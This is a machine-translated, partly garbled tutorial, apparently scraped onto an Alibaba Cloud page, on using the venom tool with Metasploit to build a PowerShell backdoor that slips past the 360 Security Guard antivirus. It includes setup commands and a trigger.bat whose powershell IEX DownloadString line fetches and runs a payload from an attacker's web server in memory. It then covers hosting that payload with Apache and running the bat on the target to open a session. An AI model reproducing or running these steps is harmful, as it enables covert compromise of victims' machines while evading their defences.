Venom combined with Metasploit to bypass 360 security guard and venow.asploit

Source: Internet
Author: User

Venom combined with Metasploit to bypass 360 security guard and venow.asploit

 

Principle:MsfvenomIs a combination of msfpayload and msfencode. msfvenom is used to generate shellcode. The venom generation tool uses

Some Veil-Evasion.py, unicorn. py, powersploit. py and other tools on the technology. However, venom is written based on bash instead

Python-based. ComparedVeil evasionInPayloadIn terms of format, it supports more [for example.Msi. hta. vbs. ps1. dll. php. jar. pdfBut none of these veil evasion is supported.

Msfvenom: Https://github.com/pitcoft/venom/

1. download the framework from Github in the following format: tar.gz OR zip OR git clone 2. grant the file executable permission: cd venom-mainsudo chmod-R + x *. shsudo chmod-R + x *. py 3. install the dependency package: cd auxsudo. /setup. sh 4. run sudo. /venom. sh

Access download path: https://github.com/pitcoft/venom/ for download

After downloading the package, you will get a zip package. We can use unzip to decompress it.

 

1. After running venom. sh, we can see that the interface of msfvenom is as follows:

2. There are many modules/Apk/exe/php/vbs/bat/. Here I use11thFor example:

3. Enter11And then press Enter:

4. A window will pop up asking you to enter the attacker'sIP,PortAndBackdoor name:

 

5. In the next step, we will fill in the backdoor SelectionListener module type:

Click OK after selection

6. In the directory, we can viewOutoputOutput file:

The two files arePitcoft. ps1AndTrigger. bat

8. SelectMsfAfter the backdoors are selected, the system automatically sets the relevant parameters for you:

Okay. We can see that our msf is ready.

9. Next, let's look at the content of the bat file. Here we need to put the pitcoft. ps1 file on the web server. Allow powershell to remotely download trojan files:

1 :: powershell template | Author: r00t-3xp10it2 :: Matthew Graeber - DownloadString3 :: Download/execute payload in RAM4 :: ---5 [url=home.php?mod=space&uid=46675]@echo[/url] off6 echo [*] Please wait, preparing software ...7 powershell.exe IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.105/pitcoft.ps1')

10. EnableApacheService:

1 service apache2 start

11.Pitcoft. ps1Dropped/Var/www/Directory to allow trojan files to access the attacker's web address:

12. We only needTrigger. batFile, run it once on the target system:

You can see that the session has been successfully established.

Finally, let's take a look at our kill-free problem.

360 security guard Detection:

VirSCAN.org-multi-engine online scan results:

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.